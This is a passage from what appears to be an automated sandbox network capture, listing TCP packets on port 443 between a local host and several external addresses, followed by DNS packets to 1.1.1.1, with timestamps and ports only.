Apr 18, 2024 01:28:34.372081041 CEST	443	49739	23.1.237.91	192.168.2.5
Apr 18, 2024 01:28:34.445705891 CEST	443	49737	199.36.158.100	192.168.2.5
Apr 18, 2024 01:28:34.445873976 CEST	443	49737	199.36.158.100	192.168.2.5
Apr 18, 2024 01:28:34.445936918 CEST	49737	443	192.168.2.5	199.36.158.100
Apr 18, 2024 01:28:34.445971966 CEST	443	49737	199.36.158.100	192.168.2.5
Apr 18, 2024 01:28:34.446054935 CEST	443	49737	199.36.158.100	192.168.2.5
Apr 18, 2024 01:28:34.446150064 CEST	49737	443	192.168.2.5	199.36.158.100
Apr 18, 2024 01:28:34.446160078 CEST	443	49737	199.36.158.100	192.168.2.5
Apr 18, 2024 01:28:34.449062109 CEST	443	49737	199.36.158.100	192.168.2.5
Apr 18, 2024 01:28:34.449151993 CEST	49737	443	192.168.2.5	199.36.158.100
Apr 18, 2024 01:28:34.449156046 CEST	443	49737	199.36.158.100	192.168.2.5
Apr 18, 2024 01:28:34.449186087 CEST	443	49737	199.36.158.100	192.168.2.5
Apr 18, 2024 01:28:34.449347973 CEST	49737	443	192.168.2.5	199.36.158.100
Apr 18, 2024 01:28:34.449347973 CEST	49737	443	192.168.2.5	199.36.158.100
Apr 18, 2024 01:28:34.449384928 CEST	49737	443	192.168.2.5	199.36.158.100
Apr 18, 2024 01:28:34.487849951 CEST	49710	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:34.487874985 CEST	443	49710	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:34.621298075 CEST	49742	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:34.621328115 CEST	443	49742	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:34.621485949 CEST	49742	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:34.622183084 CEST	49742	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:34.622196913 CEST	443	49742	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:34.699774027 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:34.699860096 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:34.699955940 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:34.700562000 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:34.700601101 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:34.703279018 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:34.703325987 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:34.703576088 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:34.704330921 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:34.704366922 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:34.739021063 CEST	443	49739	23.1.237.91	192.168.2.5
Apr 18, 2024 01:28:34.739108086 CEST	49739	443	192.168.2.5	23.1.237.91
Apr 18, 2024 01:28:34.739634991 CEST	443	49739	23.1.237.91	192.168.2.5
Apr 18, 2024 01:28:34.739696980 CEST	443	49739	23.1.237.91	192.168.2.5
Apr 18, 2024 01:28:34.739702940 CEST	49739	443	192.168.2.5	23.1.237.91
Apr 18, 2024 01:28:34.739752054 CEST	49739	443	192.168.2.5	23.1.237.91
Apr 18, 2024 01:28:34.744878054 CEST	49739	443	192.168.2.5	23.1.237.91
Apr 18, 2024 01:28:34.744930029 CEST	443	49739	23.1.237.91	192.168.2.5
Apr 18, 2024 01:28:34.744965076 CEST	49739	443	192.168.2.5	23.1.237.91
Apr 18, 2024 01:28:34.745022058 CEST	49739	443	192.168.2.5	23.1.237.91
Apr 18, 2024 01:28:34.810077906 CEST	49748	443	192.168.2.5	104.17.25.14
Apr 18, 2024 01:28:34.810129881 CEST	443	49748	104.17.25.14	192.168.2.5
Apr 18, 2024 01:28:34.810200930 CEST	49748	443	192.168.2.5	104.17.25.14
Apr 18, 2024 01:28:34.810395002 CEST	49748	443	192.168.2.5	104.17.25.14
Apr 18, 2024 01:28:34.810425997 CEST	443	49748	104.17.25.14	192.168.2.5
Apr 18, 2024 01:28:34.881232023 CEST	443	49742	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:34.883969069 CEST	49742	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:34.883987904 CEST	443	49742	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:34.885627985 CEST	443	49742	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:34.885696888 CEST	49742	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:34.886931896 CEST	49742	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:34.887017965 CEST	443	49742	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:34.887166977 CEST	49742	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:34.887176991 CEST	443	49742	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:34.917546034 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:34.917761087 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:34.917808056 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:34.919230938 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:34.919306993 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:34.919856071 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:34.919940948 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:34.920149088 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:34.920166016 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:34.931884050 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:34.938395977 CEST	49742	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:34.941539049 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:34.941579103 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:34.942771912 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:34.943095922 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:34.943285942 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:34.943334103 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:34.960038900 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:34.984132051 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:34.987936020 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:35.035203934 CEST	443	49748	104.17.25.14	192.168.2.5
Apr 18, 2024 01:28:35.035428047 CEST	49748	443	192.168.2.5	104.17.25.14
Apr 18, 2024 01:28:35.035435915 CEST	443	49748	104.17.25.14	192.168.2.5
Apr 18, 2024 01:28:35.037070036 CEST	443	49748	104.17.25.14	192.168.2.5
Apr 18, 2024 01:28:35.037147999 CEST	49748	443	192.168.2.5	104.17.25.14
Apr 18, 2024 01:28:35.038110971 CEST	49748	443	192.168.2.5	104.17.25.14
Apr 18, 2024 01:28:35.038199902 CEST	443	49748	104.17.25.14	192.168.2.5
Apr 18, 2024 01:28:35.038326025 CEST	49748	443	192.168.2.5	104.17.25.14
Apr 18, 2024 01:28:35.038338900 CEST	443	49748	104.17.25.14	192.168.2.5
Apr 18, 2024 01:28:35.082226038 CEST	49748	443	192.168.2.5	104.17.25.14
Apr 18, 2024 01:28:35.126596928 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.126678944 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.126719952 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.126745939 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:35.126763105 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.126775980 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.126807928 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:35.128222942 CEST	443	49742	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.128254890 CEST	443	49742	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.128305912 CEST	49742	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.128328085 CEST	443	49742	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.128372908 CEST	49742	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.129940987 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.129992962 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:35.130002022 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.133408070 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.133479118 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:35.133486986 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.136852026 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.136912107 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:35.136919022 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.140312910 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.140363932 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:35.140371084 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.142112970 CEST	443	49742	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.142168999 CEST	49742	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.159389973 CEST	443	49742	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.159451008 CEST	49742	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.161106110 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.161133051 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.161171913 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:35.161216974 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.161247015 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:35.161334038 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:35.167968035 CEST	443	49742	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.168026924 CEST	49742	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.185266018 CEST	443	49742	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.185327053 CEST	49742	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.218031883 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.218178988 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.218240976 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:35.218256950 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.218343973 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.218398094 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:35.218411922 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.218523026 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.218579054 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:35.218591928 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.218688965 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.218744040 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:35.218755960 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.218846083 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.218897104 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:35.218909979 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.219208002 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.219263077 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:35.219275951 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.219372034 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.219424009 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:35.219436884 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.219527960 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.219583988 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:35.219597101 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.220135927 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.220189095 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:35.220201969 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.220292091 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.220345974 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:35.220357895 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.220442057 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.220493078 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:35.220505953 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.220982075 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.221034050 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:35.221045971 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.221138954 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.221189976 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:35.221204042 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.221772909 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.221832991 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:35.221844912 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.221945047 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.221993923 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:35.222006083 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.222100019 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.222156048 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:35.222168922 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.222703934 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.222764969 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:35.222778082 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.222867012 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.222922087 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:35.222934008 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.223129034 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.223185062 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:35.223448992 CEST	49747	443	192.168.2.5	104.18.10.207
Apr 18, 2024 01:28:35.223468065 CEST	443	49747	104.18.10.207	192.168.2.5
Apr 18, 2024 01:28:35.239216089 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.239239931 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.239289045 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:35.239304066 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.239336967 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:35.239356995 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:35.255940914 CEST	443	49742	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.256000042 CEST	49742	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.256751060 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.256772995 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.256823063 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:35.256839991 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.256872892 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:35.256892920 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:35.260888100 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.260961056 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.260961056 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:35.261009932 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:35.261323929 CEST	49746	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:35.261363029 CEST	443	49746	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:35.273216963 CEST	443	49742	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.273293972 CEST	49742	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.281863928 CEST	443	49742	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.281938076 CEST	49742	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.290462017 CEST	443	49748	104.17.25.14	192.168.2.5
Apr 18, 2024 01:28:35.290585995 CEST	443	49748	104.17.25.14	192.168.2.5
Apr 18, 2024 01:28:35.290663958 CEST	443	49748	104.17.25.14	192.168.2.5
Apr 18, 2024 01:28:35.290667057 CEST	49748	443	192.168.2.5	104.17.25.14
Apr 18, 2024 01:28:35.290690899 CEST	443	49748	104.17.25.14	192.168.2.5
Apr 18, 2024 01:28:35.290734053 CEST	49748	443	192.168.2.5	104.17.25.14
Apr 18, 2024 01:28:35.290741920 CEST	443	49748	104.17.25.14	192.168.2.5
Apr 18, 2024 01:28:35.290836096 CEST	443	49748	104.17.25.14	192.168.2.5
Apr 18, 2024 01:28:35.290884018 CEST	49748	443	192.168.2.5	104.17.25.14
Apr 18, 2024 01:28:35.290890932 CEST	443	49748	104.17.25.14	192.168.2.5
Apr 18, 2024 01:28:35.290965080 CEST	443	49748	104.17.25.14	192.168.2.5
Apr 18, 2024 01:28:35.291006088 CEST	49748	443	192.168.2.5	104.17.25.14
Apr 18, 2024 01:28:35.291012049 CEST	443	49748	104.17.25.14	192.168.2.5
Apr 18, 2024 01:28:35.291089058 CEST	443	49748	104.17.25.14	192.168.2.5
Apr 18, 2024 01:28:35.291132927 CEST	49748	443	192.168.2.5	104.17.25.14
Apr 18, 2024 01:28:35.291138887 CEST	443	49748	104.17.25.14	192.168.2.5
Apr 18, 2024 01:28:35.291210890 CEST	443	49748	104.17.25.14	192.168.2.5
Apr 18, 2024 01:28:35.291275978 CEST	49748	443	192.168.2.5	104.17.25.14
Apr 18, 2024 01:28:35.291282892 CEST	443	49748	104.17.25.14	192.168.2.5
Apr 18, 2024 01:28:35.291309118 CEST	443	49748	104.17.25.14	192.168.2.5
Apr 18, 2024 01:28:35.291361094 CEST	49748	443	192.168.2.5	104.17.25.14
Apr 18, 2024 01:28:35.291383982 CEST	443	49748	104.17.25.14	192.168.2.5
Apr 18, 2024 01:28:35.291660070 CEST	443	49748	104.17.25.14	192.168.2.5
Apr 18, 2024 01:28:35.291718960 CEST	49748	443	192.168.2.5	104.17.25.14
Apr 18, 2024 01:28:35.293407917 CEST	49748	443	192.168.2.5	104.17.25.14
Apr 18, 2024 01:28:35.293425083 CEST	443	49748	104.17.25.14	192.168.2.5
Apr 18, 2024 01:28:35.299159050 CEST	443	49742	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.299276114 CEST	49742	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.299284935 CEST	443	49742	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.299312115 CEST	443	49742	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.299360991 CEST	49742	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.300051928 CEST	49742	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.300064087 CEST	443	49742	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.409377098 CEST	49752	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.409416914 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.409481049 CEST	49752	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.409697056 CEST	49752	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.409713030 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.661385059 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.666636944 CEST	49752	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.666650057 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.668113947 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.668332100 CEST	49752	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.670250893 CEST	49752	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.670250893 CEST	49752	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.670331955 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.720383883 CEST	49752	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.720405102 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.767839909 CEST	49752	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.920247078 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.920294046 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.920339108 CEST	49752	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.920350075 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.920402050 CEST	49752	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.933907032 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.933929920 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.933967113 CEST	49752	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.947896957 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.947968960 CEST	49752	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.947978973 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.948020935 CEST	49752	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:35.965135098 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.965154886 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:35.965297937 CEST	49752	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:36.018166065 CEST	49752	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:36.043550014 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:36.043574095 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:36.043623924 CEST	49752	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:36.047724009 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:36.047842026 CEST	49752	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:36.047853947 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:36.047897100 CEST	49752	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:36.064920902 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:36.064932108 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:36.065017939 CEST	49752	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:36.082180023 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:36.082190037 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:36.082238913 CEST	49752	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:36.090838909 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:36.090847969 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:36.090930939 CEST	49752	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:36.090941906 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:36.090955973 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:28:36.090997934 CEST	49752	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:36.142457008 CEST	49752	443	192.168.2.5	169.197.85.95
Apr 18, 2024 01:28:36.142482996 CEST	443	49752	169.197.85.95	192.168.2.5
Apr 18, 2024 01:29:20.878091097 CEST	49755	443	192.168.2.5	142.251.15.99
Apr 18, 2024 01:29:20.878175020 CEST	443	49755	142.251.15.99	192.168.2.5
Apr 18, 2024 01:29:20.878287077 CEST	49755	443	192.168.2.5	142.251.15.99
Apr 18, 2024 01:29:20.878489017 CEST	49755	443	192.168.2.5	142.251.15.99
Apr 18, 2024 01:29:20.878523111 CEST	443	49755	142.251.15.99	192.168.2.5
Apr 18, 2024 01:29:21.096817970 CEST	443	49755	142.251.15.99	192.168.2.5
Apr 18, 2024 01:29:21.097259998 CEST	49755	443	192.168.2.5	142.251.15.99
Apr 18, 2024 01:29:21.097325087 CEST	443	49755	142.251.15.99	192.168.2.5
Apr 18, 2024 01:29:21.098140955 CEST	443	49755	142.251.15.99	192.168.2.5
Apr 18, 2024 01:29:21.098463058 CEST	49755	443	192.168.2.5	142.251.15.99
Apr 18, 2024 01:29:21.098608017 CEST	443	49755	142.251.15.99	192.168.2.5
Apr 18, 2024 01:29:21.141079903 CEST	49755	443	192.168.2.5	142.251.15.99
Apr 18, 2024 01:29:31.094429970 CEST	443	49755	142.251.15.99	192.168.2.5
Apr 18, 2024 01:29:31.094480038 CEST	443	49755	142.251.15.99	192.168.2.5
Apr 18, 2024 01:29:31.094587088 CEST	49755	443	192.168.2.5	142.251.15.99
Apr 18, 2024 01:29:33.078746080 CEST	49755	443	192.168.2.5	142.251.15.99
Apr 18, 2024 01:29:33.078813076 CEST	443	49755	142.251.15.99	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 18, 2024 01:28:16.707345009 CEST	53	57805	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:16.865475893 CEST	53	58923	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:17.480416059 CEST	53	60743	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:18.644970894 CEST	56549	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:18.645073891 CEST	54442	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:18.756716013 CEST	53	54442	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:18.760310888 CEST	53	56549	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:19.327625990 CEST	60360	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:19.327760935 CEST	54417	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:19.431829929 CEST	53	60360	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:19.433893919 CEST	53	54417	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:20.905035973 CEST	55979	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:20.905190945 CEST	52785	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:21.009762049 CEST	53	55979	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:21.009820938 CEST	53	52785	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:27.648957014 CEST	53	64605	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:28.138438940 CEST	65147	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:28.138838053 CEST	50862	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:28.495210886 CEST	62458	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:28.495527983 CEST	62836	53	192.168.2.5	1.1.1.1
Apr 18, 2024 01:28:28.599726915 CEST	53	63094	1.1.1.1	192.168.2.5
Apr 18, 2024 01:28:28.599878073 CEST	53	62836	1.1.1.1	192.168.2.5
